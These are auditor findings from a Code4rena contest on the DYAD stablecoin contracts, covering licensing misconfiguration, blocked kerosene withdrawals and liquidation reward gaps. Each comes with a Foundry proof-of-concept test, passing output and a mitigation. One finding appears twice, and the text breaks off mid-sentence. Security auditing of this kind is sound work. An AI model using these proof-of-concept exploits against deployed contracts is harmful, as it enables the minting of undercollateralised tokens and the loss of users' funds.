DYAD - Aamir's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L95

Vulnerability details

Kerosene vaults can be added to the non kerosene vaults as in Deploy.V2.s.sol both types of vaults are added in the same Licenser.

Impact

Any user can add a Kerosene Vaults in the non kerosene vaults mapping as both types of vaults are added in the same licenser in the Deploy.V2.s.sol script:

File: Deploy.V2.s.sol

    vaultLicenser.add(address(ethVault));
    vaultLicenser.add(address(wstEth));
@>    vaultLicenser.add(address(unboundedKerosineVault));

Github: [95]

Because of this, kerosene collateral will be counted towards the exogenous collateral when VaultManager::getNonKeroseneValue(...) is called in any function as VaultManager::getNonKeroseneValue(...) checks if the vault is licensed in the VaultLicenser or not:

  function getNonKeroseneValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      uint totalUsdValue;
      uint numberOfVaults = vaults[id].length(); 
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[id].at(i));
        uint usdValue;
@>        if (vaultLicenser.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);        
        }
        totalUsdValue += usdValue;
      }
      return totalUsdValue;
  }

GitHub: [250-267]

. This is an exploitation of an important invariant of the system according to which kerosene should not be considered as an additional collateral (Read here). Because of this user will be able to mint more DYAD breaking the following invairant:

    C_non_kerosene > D_existing + D_mint

Link: [Docs]

Proof of Concept

Test:

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console2.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {DNft} from "src/core/DNft.sol";
import {Vault} from "src/core/Vault.sol";

interface IWETH {
    event Approval(address indexed src, address indexed guy, uint256 wad);
    event Deposit(address indexed dst, uint256 wad);
    event Transfer(address indexed src, address indexed dst, uint256 wad);
    event Withdrawal(address indexed src, uint256 wad);

    function allowance(address, address) external view returns (uint256);
    function approve(address guy, uint256 wad) external returns (bool);
    function balanceOf(address) external view returns (uint256);
    function decimals() external view returns (uint8);
    function deposit() external payable;
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function transfer(address dst, uint256 wad) external returns (bool);
    function transferFrom(address src, address dst, uint256 wad) external returns (bool);
    function withdraw(uint256 wad) external;
}

interface ERC20{
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

contract V2Test is Test, Parameters {

  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
  }


  function test_KeroseneCanBeAddedInNonKeroseneVaultsAndMoreDyadCanBeMintedAgainstId() public labelContracts(){
    // setup
    address alice = makeAddr("alice");
    vm.deal(alice, 1 ether);
    deal(MAINNET_WETH, alice, 100000 ether); // giving weth to alice for deposit in the system so that kerosine denominator works
    
    // licensing vault manager in dyad
    vm.prank(0xDeD796De6a14E255487191963dEe436c45995813);
    address(0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85).call(abi.encodeWithSignature("add(address)", address(contracts.vaultManager)));

    // transferring some kerosene to alice
    vm.prank(MAINNET_OWNER);
    contracts.kerosene.transfer(alice, 10000 ether); // 10k tokens

    vm.startPrank(alice);    // alice minting new DNFT
    uint256 tokenId = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(alice);

    // alice adds kerosene vault in non kerosene vault
    contracts.vaultManager.add(tokenId, address(contracts.unboundedKerosineVault));
    contracts.vaultManager.add(tokenId, address(contracts.ethVault));

    // alice deposits kerosene in the vault
    contracts.kerosene.approve(address(contracts.vaultManager), 10000 ether);
    IWETH(MAINNET_WETH).approve(address(contracts.vaultManager), 100000 ether);
    contracts.vaultManager.deposit(tokenId, address(contracts.unboundedKerosineVault), 10000 ether);
    contracts.vaultManager.deposit(tokenId, address(contracts.ethVault), 100000 ether);

    // alice mints dyad against the deposited collateral
    (, int price ,,,) = IAggregatorV3(MAINNET_WETH_ORACLE).latestRoundData();
    
    uint256 wethUsdPrice = uint256(100000 ether) * uint256(price) / 1e8;
    
    // cr = 1.5
    // max dyad that can be minted against it = wethUsdPrice * 1 / 1.5
    uint256 dyadToBeMinted = wethUsdPrice * 1 ether / 1.5 ether;

    // alice minted more dyad than dyadToBeMinted as there is some kerosene as well
    contracts.vaultManager.mintDyad(tokenId, dyadToBeMinted + 100 ether, alice);
  }

  modifier labelContracts() {
    vm.label(address(contracts.boundedKerosineVault), "Bounded keroseine vault");
    vm.label(address(contracts.unboundedKerosineVault), "Unbounded keroseine vault");
    vm.label(address(contracts.kerosene), "Kerosene");
    vm.label(address(contracts.kerosineManager), "Kerosine manager");
    vm.label(address(contracts.kerosineDenominator), "Kerosine denominator");
    vm.label(address(contracts.vaultManager), "Vault manager");
    vm.label(address(contracts.vaultLicenser), "Vault licenser");
    vm.label(address(contracts.ethVault), "ETH vault");
    vm.label(address(contracts.wstEth), "WSTETH vault");
    vm.label(MAINNET_DNFT, "DNFT");
    _;
  }
}

Output:

┌──(aamirusmani1552㉿Victus)-[/mnt/d/dyad-audit]
└─$ forge test --mt test_KeroseneCanBeAddedInNonKeroseneVaultsAndMoreDyadCanBeMintedAgainstId  --fork-url https://mainnet.infura.io/v3/<API_KEY>
[⠘] Compiling...
[⠑] Compiling 1 files with 0.8.17
[⠘] Solc 0.8.17 finished in 1.83s
Compiler run successful with warnings:
Warning (9302): Return value of low-level calls not used.
  --> test/fork/v2.t.sol:92:5:
   |
92 |     address(0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85).call(abi.encodeWithSignature("add(address)", address(contracts.vaultManager)));
   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^


Ran 1 test for test/fork/v2.t.sol:V2Test
[PASS] test_KeroseneCanBeAddedInNonKeroseneVaultsAndMoreDyadCanBeMintedAgainstId() (gas: 958325)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 27.14s (21.81s CPU time)

Ran 1 test suite in 29.92s (27.14s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

• Manual Review
• Foundry

Recommended Mitigation Steps

It is recommended to add different licenser for both types of vaults and make changes to the VaultManager::getNonKeroseneValue(...) in the following way:

  function getNonKeroseneValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      uint totalUsdValue;
      uint numberOfVaults = vaults[id].length(); 
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[id].at(i));
        uint usdValue;
-        if (vaultLicenser.isLicensed(address(vault))) {
+        if (keroseneManager.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);        
        }
        totalUsdValue += usdValue;
      }
      return totalUsdValue;
  }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L148

Vulnerability details

Deposited kerosine cannot be withdrawn from the vaults because of an issue in the VaultManagerV2::withdraw(...) function.

Impact

The VaultManagerV2::withdraw(...) function facilitates token withdrawal from the vaults. This function relies on reading certain states from the vault contracts:

File: VaultManagerV2.sol

  function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  ) 
    public
      isDNftOwner(id)
  {
    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
    uint dyadMinted = dyad.mintedDyad(address(this), id);
    Vault _vault = Vault(vault);
    uint value = amount * _vault.assetPrice() 
                  * 1e18 
@>                  / 10**_vault.oracle().decimals() 
@>                  / 10**_vault.asset().decimals();
    if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
    _vault.withdraw(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow(); 
  }

GitHub: [134-154]

However, an issue arises when attempting to withdraw from Unbounded kerosene vaults due to the absence of an oracle variable in these vaults. Consequently, users will encounter an inability to withdraw any deposited kerosene from these vaults, resulting in the loss of tokens.

Additionally, if the changes has been made in the vaults contract to rectify the issue, the function will still cause problems as the value to be withdrawn from the contract is checked against the non kerosene collateral value here:

File: VaultManagerV2.sol

  function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  ) 
    public
      isDNftOwner(id)
  {
    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
    uint dyadMinted = dyad.mintedDyad(address(this), id);
    Vault _vault = Vault(vault);
    uint value = amount * _vault.assetPrice() 
                  * 1e18 
                  / 10**_vault.oracle().decimals() 
                  / 10**_vault.asset().decimals();
@>    if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
    _vault.withdraw(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow(); 
  }

So, if there is no non kerosene collateral then, this will give overflow/underflow error.

Proof of Concept

The below given test will not work as there is an issue in the VaultManager::addKerosene(...) function. Before running the tests make the following changes:

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
-    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
+    if (!vaultLicenser.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

<details> <summary>Test Base</summary>

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {Parameters} from "src/params/Parameters.sol";
import {DNft} from "src/core/DNft.sol";
import {Dyad} from "src/core/Dyad.sol";
import {Licenser} from "src/core/Licenser.sol";
import {VaultManagerV2} from "src/core/VaultManagerV2.sol";
import {Vault} from "src/core/Vault.sol";
import {VaultWstEth} from "src/core/Vault.wsteth.sol";
import {Payments} from "src/periphery/Payments.sol";
import {OracleMock} from "../OracleMock.sol";
import {ERC20Mock} from "../ERC20Mock.sol";
import {IAggregatorV3} from "src/interfaces/IAggregatorV3.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {Kerosine} from "src/staking/Kerosine.sol";
import {BoundedKerosineVault} from "src/core/Vault.kerosine.bounded.sol";
import {UnboundedKerosineVault} from "src/core/Vault.kerosine.unbounded.sol";
import {KerosineManager} from "src/core/KerosineManager.sol";
import {KerosineDenominator} from "src/staking/KerosineDenominator.sol";

struct Contracts {
  DNft         dNft;
  ERC20Mock    weth;
  Licenser     vaultManagerLicenser;
  Licenser     vaultLicenser;
  Dyad         dyad;
  VaultManagerV2 vaultManager;
  KerosineManager kerosineManager;
  MockKerosineDenominator kerosineDenominator;
}

struct Oracles{
    OracleMock   wethOracle;
    OracleMock   daiOracle;
    OracleMock   usdcOracle;
}

struct Tokens{
    ERC20Mock    weth;
    ERC20Mock    dai;
    USDC        usdc;
    Kerosine     kerosene;
}

struct Vaults{
    Vault        wethVault;
    Vault        daiVault;
    Vault        usdcVault;
    BoundedKerosineVault boundedKerosineVault;
    UnboundedKerosineVault unboundedKerosineVault;
}

contract MockKerosineDenominator {

  Kerosine public kerosine;
  address public owner;

  constructor(
    Kerosine _kerosine
  ) {
    kerosine = _kerosine;
    owner = msg.sender;
  }

  function denominator() external view returns (uint) {
    // @dev: We subtract all the Kerosene in the multi-sig.
    //       We are aware that this is not a great solution. That is
    //       why we can switch out Denominator contracts.
    return kerosine.totalSupply() - kerosine.balanceOf(owner);
  } 
}


contract USDC is ERC20 {
    constructor() ERC20("USDC", "USDC", 6) {
    }

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function burn(address from, uint256 amount) public {
        _burn(from, amount);
    }
}

contract BaseLocalTest is Test {
    Contracts public contracts;
    Oracles public oracles;
    Tokens public tokens;
    Vaults public vaults;

  function setUp() public virtual {
    // oracles
    oracles.wethOracle = new OracleMock(3000e8);
    oracles.daiOracle = new OracleMock(1e8);
    oracles.usdcOracle = new OracleMock(1e8);

    // tokens
    tokens.dai       = new ERC20Mock("DAI-TEST", "DAIT");
    tokens.weth       = new ERC20Mock("WETH-TEST", "WETHT");
    tokens.kerosene = new Kerosine();
    tokens.usdc = new USDC();

    // contracts
    contracts.dNft       = new DNft();
    contracts.vaultLicenser = new Licenser();
    contracts.dyad = new Dyad(contracts.vaultLicenser);
    contracts.vaultManager = new VaultManagerV2(contracts.dNft, contracts.dyad, contracts.vaultLicenser);
    contracts.kerosineManager = new KerosineManager();
    vaults.boundedKerosineVault = new BoundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.kerosineManager);
    vaults.unboundedKerosineVault = new UnboundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.dyad, contracts.kerosineManager);
    vaults.boundedKerosineVault.setUnboundedKerosineVault(vaults.unboundedKerosineVault);
    contracts.vaultManager.setKeroseneManager(contracts.kerosineManager);
    contracts.kerosineDenominator = new MockKerosineDenominator(tokens.kerosene);

    vaults.unboundedKerosineVault.setDenominator(KerosineDenominator(address(contracts.kerosineDenominator)));

    // create the DAI vault
    vaults.daiVault  = new Vault(
      contracts.vaultManager,
      ERC20(address(tokens.dai)),
      IAggregatorV3(address(oracles.daiOracle))
    );

    // create the WETH vault
    vaults.wethVault  = new Vault(
      contracts.vaultManager,
      ERC20(address(tokens.weth)),
      IAggregatorV3(address(oracles.wethOracle))
    );

    // create the usdc vault
    vaults.usdcVault  = new Vault(
      contracts.vaultManager,
      ERC20(address(tokens.usdc)),
      IAggregatorV3(address(oracles.usdcOracle))
    );

    // add the DAI vault
    vm.startPrank(contracts.vaultLicenser.owner());
    contracts.vaultLicenser.add(address(vaults.daiVault));
    contracts.vaultLicenser.add(address(vaults.usdcVault));
    contracts.vaultLicenser.add(address(vaults.wethVault));
    contracts.vaultLicenser.add(address(contracts.vaultManager));
    contracts.vaultLicenser.add(address(vaults.unboundedKerosineVault));
    contracts.kerosineManager.add(address(vaults.wethVault));
    // should not be done but we are doing it for the testing purpose only as it is also done in the deployment script
    // contracts.kerosineManager.add(address(vaults.unboundedKerosineVault));

    assertEq(contracts.kerosineManager.isLicensed(address(vaults.wethVault)), true);

    // labeling everything
    vm.label(address(contracts.weth), "WETH");
    vm.label(address(contracts.dyad), "DYAD");
    vm.label(address(contracts.vaultManager), "VaultManager");
    vm.label(address(contracts.dNft), "DNFT");
    vm.label(address(contracts.vaultLicenser), "VaultLicenser");
    vm.label(address(contracts.vaultManagerLicenser), "VaultManagerLicenser");
    vm.label(address(vaults.daiVault), "DAI Vault");
    vm.label(address(vaults.wethVault), "WETH Vault");
    vm.label(address(tokens.dai), "DAI");
    vm.label(address(tokens.weth), "WETH");
    vm.label(address(tokens.kerosene), "Kerosene");
    vm.label(address(oracles.wethOracle), "WETH Oracle");
    vm.label(address(oracles.daiOracle), "DAI Oracle");
    vm.label(address(oracles.usdcOracle), "USDC Oracle");
    vm.label(address(tokens.usdc), "USDC");
    vm.label(address(vaults.usdcVault), "USDC Vault");
  }

  receive() external payable {}

  function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
  ) external pure returns (bytes4) {
    return 0x150b7a02;
  }
}

</details>

Test:

pragma solidity =0.8.17;

import {BaseLocalTest} from "./Base.t.sol";
import {console2} from "forge-std/console2.sol";

contract Unit is BaseLocalTest{
    function setUp() public override{
        super.setUp();
    }

    function test_KeroseneCannotBeWitdhrawnFromTheVaults() public {
        // setup
        address alice = makeAddr("alice");
        uint256 amount = 1000e18;
        uint256 keroseneAmount = 1000 ether;

        // giving some tokens to alice and bob
        vm.deal(alice, amount);
        tokens.kerosene.transfer(alice, keroseneAmount + 100000 ether);

        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////

        // alice mints new DNFT
        vm.startPrank(alice);
        uint256 tokenId = contracts.dNft.mintNft{value: 1 ether}(alice);

        // alice adds the unbounded vault in the vault manager against his DNFT
        contracts.vaultManager.addKerosene(tokenId, address(vaults.unboundedKerosineVault));

        // bob deposits kerosene in the vault
        tokens.kerosene.approve(address(contracts.vaultManager), keroseneAmount);
        contracts.vaultManager.deposit(tokenId, address(vaults.unboundedKerosineVault), keroseneAmount);

        // amount should be added to the vault
        assertEq(vaults.unboundedKerosineVault.id2asset(tokenId), keroseneAmount);

        vm.roll(block.number + 1);

        // alice try to withdraw her kerosene
        vm.expectRevert();
        contracts.vaultManager.withdraw(tokenId, address(vaults.unboundedKerosineVault), keroseneAmount, alice);
        vm.stopPrank();

    }

}

Output:

┌──(aamirusmani1552㉿Victus)-[/mnt/d/dyad-audit]
└─$ forge test --mt test_KeroseneCannotBeWitdhrawnFromTheVaults 
[⠒] Compiling...
[⠒] Compiling 1 files with 0.8.17
[⠢] Solc 0.8.17 finished in 2.38s
Compiler run successful!

Ran 1 test for test/unit/Unit.t.sol:Unit
[PASS] test_KeroseneCannotBeWitdhrawnFromTheVaults() (gas: 338981)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48ms (381.68µs CPU time)

Ran 1 test suite in 220.38ms (1.48ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

• Manual Review
• Foundry

Recommended Mitigation Steps

It is recommended to create a different function for withdrawing kerosene from the vaults.

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L148

Vulnerability details

Deposited kerosine cannot be withdrawn from the vaults because of an issue in the VaultManagerV2::withdraw(...) function.

Impact

The VaultManagerV2::withdraw(...) function facilitates token withdrawal from the vaults. This function relies on reading certain states from the vault contracts:

File: VaultManagerV2.sol

  function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  ) 
    public
      isDNftOwner(id)
  {
    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
    uint dyadMinted = dyad.mintedDyad(address(this), id);
    Vault _vault = Vault(vault);
    uint value = amount * _vault.assetPrice() 
                  * 1e18 
@>                  / 10**_vault.oracle().decimals() 
@>                  / 10**_vault.asset().decimals();
    if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
    _vault.withdraw(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow(); 
  }

GitHub: [134-154]

However, an issue arises when attempting to withdraw from Unbounded kerosene vaults due to the absence of an oracle variable in these vaults. Consequently, users will encounter an inability to withdraw any deposited kerosene from these vaults, resulting in the loss of tokens.

Additionally, if the changes has been made in the vaults contract to rectify the issue, the function will still cause problems as the value to be withdrawn from the contract is checked against the non kerosene collateral value here:

File: VaultManagerV2.sol

  function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  ) 
    public
      isDNftOwner(id)
  {
    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
    uint dyadMinted = dyad.mintedDyad(address(this), id);
    Vault _vault = Vault(vault);
    uint value = amount * _vault.assetPrice() 
                  * 1e18 
                  / 10**_vault.oracle().decimals() 
                  / 10**_vault.asset().decimals();
@>    if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
    _vault.withdraw(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow(); 
  }

So, if there is no non kerosene collateral then, this will give overflow/underflow error.

Proof of Concept

The below given test will not work as there is an issue in the VaultManager::addKerosene(...) function. Before running the tests make the following changes:

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
-    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
+    if (!vaultLicenser.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

<details> <summary>Test Base</summary>

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {Parameters} from "src/params/Parameters.sol";
import {DNft} from "src/core/DNft.sol";
import {Dyad} from "src/core/Dyad.sol";
import {Licenser} from "src/core/Licenser.sol";
import {VaultManagerV2} from "src/core/VaultManagerV2.sol";
import {Vault} from "src/core/Vault.sol";
import {VaultWstEth} from "src/core/Vault.wsteth.sol";
import {Payments} from "src/periphery/Payments.sol";
import {OracleMock} from "../OracleMock.sol";
import {ERC20Mock} from "../ERC20Mock.sol";
import {IAggregatorV3} from "src/interfaces/IAggregatorV3.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {Kerosine} from "src/staking/Kerosine.sol";
import {BoundedKerosineVault} from "src/core/Vault.kerosine.bounded.sol";
import {UnboundedKerosineVault} from "src/core/Vault.kerosine.unbounded.sol";
import {KerosineManager} from "src/core/KerosineManager.sol";
import {KerosineDenominator} from "src/staking/KerosineDenominator.sol";

struct Contracts {
  DNft         dNft;
  ERC20Mock    weth;
  Licenser     vaultManagerLicenser;
  Licenser     vaultLicenser;
  Dyad         dyad;
  VaultManagerV2 vaultManager;
  KerosineManager kerosineManager;
  MockKerosineDenominator kerosineDenominator;
}

struct Oracles{
    OracleMock   wethOracle;
    OracleMock   daiOracle;
    OracleMock   usdcOracle;
}

struct Tokens{
    ERC20Mock    weth;
    ERC20Mock    dai;
    USDC        usdc;
    Kerosine     kerosene;
}

struct Vaults{
    Vault        wethVault;
    Vault        daiVault;
    Vault        usdcVault;
    BoundedKerosineVault boundedKerosineVault;
    UnboundedKerosineVault unboundedKerosineVault;
}

contract MockKerosineDenominator {

  Kerosine public kerosine;
  address public owner;

  constructor(
    Kerosine _kerosine
  ) {
    kerosine = _kerosine;
    owner = msg.sender;
  }

  function denominator() external view returns (uint) {
    // @dev: We subtract all the Kerosene in the multi-sig.
    //       We are aware that this is not a great solution. That is
    //       why we can switch out Denominator contracts.
    return kerosine.totalSupply() - kerosine.balanceOf(owner);
  } 
}


contract USDC is ERC20 {
    constructor() ERC20("USDC", "USDC", 6) {
    }

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function burn(address from, uint256 amount) public {
        _burn(from, amount);
    }
}

contract BaseLocalTest is Test {
    Contracts public contracts;
    Oracles public oracles;
    Tokens public tokens;
    Vaults public vaults;

  function setUp() public virtual {
    // oracles
    oracles.wethOracle = new OracleMock(3000e8);
    oracles.daiOracle = new OracleMock(1e8);
    oracles.usdcOracle = new OracleMock(1e8);

    // tokens
    tokens.dai       = new ERC20Mock("DAI-TEST", "DAIT");
    tokens.weth       = new ERC20Mock("WETH-TEST", "WETHT");
    tokens.kerosene = new Kerosine();
    tokens.usdc = new USDC();

    // contracts
    contracts.dNft       = new DNft();
    contracts.vaultLicenser = new Licenser();
    contracts.dyad = new Dyad(contracts.vaultLicenser);
    contracts.vaultManager = new VaultManagerV2(contracts.dNft, contracts.dyad, contracts.vaultLicenser);
    contracts.kerosineManager = new KerosineManager();
    vaults.boundedKerosineVault = new BoundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.kerosineManager);
    vaults.unboundedKerosineVault = new UnboundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.dyad, contracts.kerosineManager);
    vaults.boundedKerosineVault.setUnboundedKerosineVault(vaults.unboundedKerosineVault);
    contracts.vaultManager.setKeroseneManager(contracts.kerosineManager);
    contracts.kerosineDenominator = new MockKerosineDenominator(tokens.kerosene);

    vaults.unboundedKerosineVault.setDenominator(KerosineDenominator(address(contracts.kerosineDenominator)));

    // create the DAI vault
    vaults.daiVault  = new Vault(
      contracts.vaultManager,
      ERC20(address(tokens.dai)),
      IAggregatorV3(address(oracles.daiOracle))
    );

    // create the WETH vault
    vaults.wethVault  = new Vault(
      contracts.vaultManager,
      ERC20(address(tokens.weth)),
      IAggregatorV3(address(oracles.wethOracle))
    );

    // create the usdc vault
    vaults.usdcVault  = new Vault(
      contracts.vaultManager,
      ERC20(address(tokens.usdc)),
      IAggregatorV3(address(oracles.usdcOracle))
    );

    // add the DAI vault
    vm.startPrank(contracts.vaultLicenser.owner());
    contracts.vaultLicenser.add(address(vaults.daiVault));
    contracts.vaultLicenser.add(address(vaults.usdcVault));
    contracts.vaultLicenser.add(address(vaults.wethVault));
    contracts.vaultLicenser.add(address(contracts.vaultManager));
    contracts.vaultLicenser.add(address(vaults.unboundedKerosineVault));
    contracts.kerosineManager.add(address(vaults.wethVault));
    // should not be done but we are doing it for the testing purpose only as it is also done in the deployment script
    // contracts.kerosineManager.add(address(vaults.unboundedKerosineVault));

    assertEq(contracts.kerosineManager.isLicensed(address(vaults.wethVault)), true);

    // labeling everything
    vm.label(address(contracts.weth), "WETH");
    vm.label(address(contracts.dyad), "DYAD");
    vm.label(address(contracts.vaultManager), "VaultManager");
    vm.label(address(contracts.dNft), "DNFT");
    vm.label(address(contracts.vaultLicenser), "VaultLicenser");
    vm.label(address(contracts.vaultManagerLicenser), "VaultManagerLicenser");
    vm.label(address(vaults.daiVault), "DAI Vault");
    vm.label(address(vaults.wethVault), "WETH Vault");
    vm.label(address(tokens.dai), "DAI");
    vm.label(address(tokens.weth), "WETH");
    vm.label(address(tokens.kerosene), "Kerosene");
    vm.label(address(oracles.wethOracle), "WETH Oracle");
    vm.label(address(oracles.daiOracle), "DAI Oracle");
    vm.label(address(oracles.usdcOracle), "USDC Oracle");
    vm.label(address(tokens.usdc), "USDC");
    vm.label(address(vaults.usdcVault), "USDC Vault");
  }

  receive() external payable {}

  function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
  ) external pure returns (bytes4) {
    return 0x150b7a02;
  }
}

</details>

Test:

pragma solidity =0.8.17;

import {BaseLocalTest} from "./Base.t.sol";
import {console2} from "forge-std/console2.sol";

contract Unit is BaseLocalTest{
    function setUp() public override{
        super.setUp();
    }

    function test_KeroseneCannotBeWitdhrawnFromTheVaults() public {
        // setup
        address alice = makeAddr("alice");
        uint256 amount = 1000e18;
        uint256 keroseneAmount = 1000 ether;

        // giving some tokens to alice and bob
        vm.deal(alice, amount);
        tokens.kerosene.transfer(alice, keroseneAmount + 100000 ether);

        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////

        // alice mints new DNFT
        vm.startPrank(alice);
        uint256 tokenId = contracts.dNft.mintNft{value: 1 ether}(alice);

        // alice adds the unbounded vault in the vault manager against his DNFT
        contracts.vaultManager.addKerosene(tokenId, address(vaults.unboundedKerosineVault));

        // bob deposits kerosene in the vault
        tokens.kerosene.approve(address(contracts.vaultManager), keroseneAmount);
        contracts.vaultManager.deposit(tokenId, address(vaults.unboundedKerosineVault), keroseneAmount);

        // amount should be added to the vault
        assertEq(vaults.unboundedKerosineVault.id2asset(tokenId), keroseneAmount);

        vm.roll(block.number + 1);

        // alice try to withdraw her kerosene
        vm.expectRevert();
        contracts.vaultManager.withdraw(tokenId, address(vaults.unboundedKerosineVault), keroseneAmount, alice);
        vm.stopPrank();

    }

}

Output:

┌──(aamirusmani1552㉿Victus)-[/mnt/d/dyad-audit]
└─$ forge test --mt test_KeroseneCannotBeWitdhrawnFromTheVaults 
[⠒] Compiling...
[⠒] Compiling 1 files with 0.8.17
[⠢] Solc 0.8.17 finished in 2.38s
Compiler run successful!

Ran 1 test for test/unit/Unit.t.sol:Unit
[PASS] test_KeroseneCannotBeWitdhrawnFromTheVaults() (gas: 338981)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48ms (381.68µs CPU time)

Ran 1 test suite in 220.38ms (1.48ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

• Manual Review
• Foundry

Recommended Mitigation Steps

It is recommended to create a different function for withdrawing kerosene from the vaults.

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

When a position undergoes liquidation, only external collateral is transferred from the vaults to the liquidator. This diminishes the incentives for liquidation.

Impact

The VaultManagerV2::liquidate(...) does not account for the kerosene value when the liquidation Rewards are calculated. The same function is being used here from the previous Version of Vault Manager contract. So if the user is holding both exogenous collateral and kerosene in the vaults, he will only be charged liquidation penalty from the exogenous collateral. No rewards are distributed to the liquidator from the deposited kerosene.

  function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));


      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);


@>      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
      emit Liquidate(id, msg.sender, to);
  }

GitHub: [205-228]

This results in a situation where a liquidator receives fewer liquidation rewards for liquidating a position that holds both external collateral and kerosene compared to one holding an equivalent value solely in external collateral.

For example,

